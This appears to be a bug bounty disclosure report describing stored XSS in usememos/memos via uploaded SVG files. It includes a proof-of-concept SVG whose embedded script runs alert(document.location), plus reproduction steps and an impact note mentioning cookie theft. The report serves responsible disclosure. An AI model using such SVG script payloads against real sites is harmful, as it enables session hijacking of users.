Stored XSS via SVG File in usememos/memos
Valid
Reported on
Dec 20th 2022
Description
usememos has a feature to upload file and display it. By uploading a crafted SVG files, the users can perform Stored XSS attack with the image direct link.
Copy the following code and save as filename.svg.
Proof of Concept (filename.svg)
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
- Login as user
- create a new post and upload the svg file
- save the post
- take the direct link of the image and open it in a new tab
- see XSS (example link: https://<yoursite>/o/r/8/filename.svg).
if you need more specific information, feel free to contact me.
Impact
If an attacker can execute the script in the victim's browser via SVG file, they might compromise that user by stealing its cookies and other malicious things.
We are processing your report and will contact the
usememos/memos
team within 24 hours.
20 days ago
We have contacted a member of the
usememos/memos
team and are waiting to hear back
19 days ago
The researcher's credibility has increased: +7
to join this conversation